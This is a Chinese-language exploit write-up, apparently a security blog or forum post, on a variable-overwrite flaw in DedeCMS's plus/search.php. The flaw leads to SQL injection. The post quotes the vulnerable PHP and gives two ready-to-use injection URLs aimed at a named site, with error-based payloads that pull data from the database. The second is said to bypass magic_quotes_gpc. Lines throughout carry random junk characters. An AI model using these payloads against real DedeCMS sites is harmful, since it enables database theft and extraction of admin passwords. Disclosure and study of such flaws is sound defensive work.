微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.6 M/ D7 c. k' p! \3 @
作者: c4rp3nt3r@0x50sec.org
4 ^. ~( N- ^7 n# v* n1 ADedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.# w( n. q4 ~/ \' m X
, V& P* |4 g, x
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.3 [) }3 l u4 `7 f% G. h- K
* o# p8 `9 B# o5 f' A% L) `
============
' [4 w2 u3 n" I/ ~* b& O 3 \( @. A0 N8 c$ x# a( l
$ R5 a/ J5 L' H6 S' K5 D
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.9 B$ ?1 f# `8 \0 y. |
' F# |) c A: M( w" R. A" {* g* _
require_once(dirname(__FILE__).”/../include/common.inc.php”);
% B" b; i L0 b9 Drequire_once(DEDEINC.”/arc.searchview.class.php”); N0 V& c" R7 W; m( {! {
$ F$ z$ X" s% T! K
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;6 G; r( x% [2 D. `. w% J/ q
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
L! t- k. {# E9 E& H8 M" o6 U. Y$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;, v% G+ y8 @; w- b
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
8 W; v* Y' I; B, D B7 P$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
, w9 p2 R; K# j% `/ O- m+ y% J
$ Y1 Y% t" F, i. v/ H, y; ^3 Eif(!isset($orderby)) $orderby=”;+ E6 g: `1 Z8 U
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
& o. t5 u* f: U4 f: R- a & p8 i2 Y2 n/ Q7 g
4 s5 \. }& C) _5 G, Iif(!isset($searchtype)) $searchtype = ‘titlekeyword’;# a4 |2 A) b- |: \6 U) c4 @2 o2 K
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);' N# o* S5 ?( r1 }
: |' H6 ]: |# h, W4 Oif(!isset($keyword)){1 K5 Y. T/ }: R$ I4 I! B
if(!isset($q)) $q = ”;
( |3 N. ?1 x9 T, G/ q $keyword=$q;5 t* J6 t" M- U8 n
}* b5 A9 R* d( |; j% j0 M
+ }. q2 R% B' H9 c6 J* Q+ F. O# K1 S$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
8 j( y* A* j" N2 Q9 W) {0 o
# H5 o% h* j% n3 o8 Z5 D//查找栏目信息
# B% z; z! u0 K$ s/ Aif(empty($typeid))+ O8 ?4 \6 k9 v2 l# A
{
% c7 b$ r7 a; ^% s $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;/ S t8 V6 Y8 `' }* y
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )7 ?9 w9 K# l' b; ?$ z! n
{
% } z! t$ S/ Q4 P# { $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’); q8 b* a) `0 e
fwrite($fp, “<”.”?php\r\n”);! u0 v' H* E: K7 `& r
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
7 h% n' B% d2 h; [ U2 @$ u, X $dsql->Execute();
7 h. X0 n& a/ _' { while($row = $dsql->GetArray())
' \4 j" \, E" v% f* G {' t w% @! l* [; U
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);6 w9 q7 g: u( @ Y1 T) Y9 W
}
$ p- a. K5 D1 @- u9 W8 x. e fwrite($fp, ‘?’.'>’);
5 T3 @2 ~* L9 ?! y! |7 H. h fclose($fp);
% [' ~9 T# L5 r* `6 Z }
2 B8 [8 ]7 @4 Y0 U' y, D //引入栏目缓存并看关键字是否有相关栏目内容 g$ T9 c- n* k1 `, B# f+ O
require_once($typenameCacheFile);, q" \2 U, ~& n' ]" Q$ H( c9 I
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个 f" N* _4 n: {" F' L: \% w! m* Y
//: ~: C. _9 k: k, {8 ?9 R
if(isset($typeArr) && is_array($typeArr))
! J+ M9 H' `4 O* O g3 e+ s {
! u/ u8 W0 t( G* E foreach($typeArr as $id=>$typename)
; T1 S: p5 s6 N7 p. I( ]3 k I* T0 I9 E( H { {+ R" r. p$ u7 E+ E
8 y2 t3 G( ~, S( i3 F) h <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过) X$ u1 _5 y. T5 y0 ?! i
if($keyword != $keywordn)! @! s* M2 N g7 I$ e$ S
{& c, H2 g% ^% ~1 b, E4 d) }1 r
$keyword = $keywordn;
) y. x' B) B# ?" M! f7 o! y/ a <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
& i+ t) `/ J% G7 Z1 u. G9 D break;
! O& G0 d/ ?8 ?- c5 ? } h$ V {: p7 _# H8 T
}
8 F% ^ ]3 T9 @4 L: w" E }/ A3 [, F/ B* [& s( s
}. W. |6 W, K" o' y6 W) }3 F9 D
然后plus/search.php文件下面定义了一个 Search类的对象 .
* {) B3 r! ~' C在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
3 }( i( S) k2 n& K5 J2 u$this->TypeLink = new TypeLink($typeid);
* N+ j0 j2 j& ]3 E9 q0 J, G 3 _. k: R/ ]" k! f3 \- k1 u
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
q: ^9 B2 q' v( ] @8 q8 V' b
2 y* P: |+ r6 O* Tclass TypeLink
* u4 ^8 h! N3 T{
! H6 ?. H' b6 ]3 @1 d var $typeDir;- h# }7 o- @; y; d4 g. A, m
var $dsql;: z, L- Z" B- L" ^5 y
var $TypeID;& D) ^7 B$ f2 S3 z O4 V" m
var $baseDir;
$ G! a' F2 Z6 A3 d var $modDir;
& ^# ^1 g+ j, p7 d# b9 K; F var $indexUrl;
8 _; e" g$ u$ F var $indexName;2 w% w* \7 L6 C. o
var $TypeInfos;# C' h$ B9 j$ J8 I6 l& M
var $SplitSymbol;! }0 ~+ v$ y; F/ K
var $valuePosition;
' K3 x8 F' U% D* f, {( b2 I var $valuePositionName;0 |, r. N$ h( x5 W% l8 J, ~' q
var $OptionArrayList;//构造函数///////$ J- U& p8 H' o. N8 b3 L8 u
//php5构造函数
* I) [" M4 N$ e6 t" q' _9 t J function __construct($typeid)
* L2 E" i$ Y, @. b/ l5 ~/ a% r3 e3 F F {
# F1 L, W; w" a4 w2 t. v; M5 U $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];% [- q: a( H1 h1 o
$this->indexName = $GLOBALS['cfg_indexname'];" x2 |9 [4 j+ L) M# l8 x* h* q
$this->baseDir = $GLOBALS['cfg_basedir'];( Y1 P. @2 d& b w) B
$this->modDir = $GLOBALS['cfg_templets_dir'];2 } V+ d$ B7 E& v) K. \& E% I$ D- y
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
. K8 n2 v- e( _( M6 @3 Y: x+ H $this->dsql = $GLOBALS['dsql'];
, |; W& Q2 H' u* a E, i $this->TypeID = $typeid;
9 R$ O C/ C! z7 G2 }; ?' R. ` $this->valuePosition = ”;
; x" M% G5 P" Q! z2 }% W7 v $this->valuePositionName = ”;% X% G8 E: l( a- G
$this->typeDir = ”;
! i0 @& H7 j' \ `( V6 \ $this->OptionArrayList = ”;7 N( j0 a0 o) h5 a
' h9 u$ w& O$ \, Y) [1 {$ a; ?" E //载入类目信息$ K2 _+ N$ ?" \3 V
- a ]( {6 z7 H- `: M0 X, n9 P
<font color=”Red”>$query = “SELECT tp.*,ch.typename as, } X) b" V- c% P! `% D# r
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
# l7 c( Y! t. P, V`#@__channeltype` ch) D* N+ v( J# O: q
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿6 r$ n/ w# Z1 ]# ~
0 k* w; ~6 u" u( Y
if($typeid > 0)
( d2 h& m/ `9 M7 P {% X& c6 D( \, f; P
$this->TypeInfos = $this->dsql->GetOne($query);
' J+ S3 ]1 e! q7 h% U利用代码一 需要 即使magic_quotes_gpc = Off
5 h3 q/ m5 _* y& \2 g ^- T
& S* z! b% _3 d8 k$ q9 J/ Q( @www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title$ K/ z+ Z0 {! K% O( J+ z
! n8 @; B8 F0 V! {0 U$ ^8 [5 b$ m. W
这只是其中一个利用代码… Search 类的构造函数再往下
+ M* n U$ ^% u3 O8 Q 2 e) |: C- u" {9 X, R
……省略5 A* s' e9 U. i
$this->TypeID = $typeid;7 K5 o# e9 v+ T7 n' W/ ^
……省略% k5 a) p9 |6 P0 R' _* n
if($this->TypeID==”0″){
/ B# ~; S7 d. i7 F/ F $this->ChannelTypeid=1;1 o8 [+ A* D# y7 Q8 w
}else{* N3 b/ z4 L* L" J5 _% Q4 {
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲( w. O( @5 n( b. B/ Q& X3 ~9 z
//现在不鸡肋了吧亲…. U% T- C1 a! _8 v
$this->ChannelTypeid=$row['channeltype'];
3 u% [; F: x. r0 L; e) ^. g
5 ~5 D6 m9 w4 E9 `) S" {6 l }% y/ P4 V) `0 ^& T) L) v- c( n
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
" b- x7 M. Q# o5 x3 d1 h$ S' P5 p . c4 {/ O7 I8 K6 g+ V4 z- G
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title/ s7 c$ x! h4 J5 H; Q
$ \3 e. S2 y" a2 v
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
0 c& H, @' e8 H/ E5 i |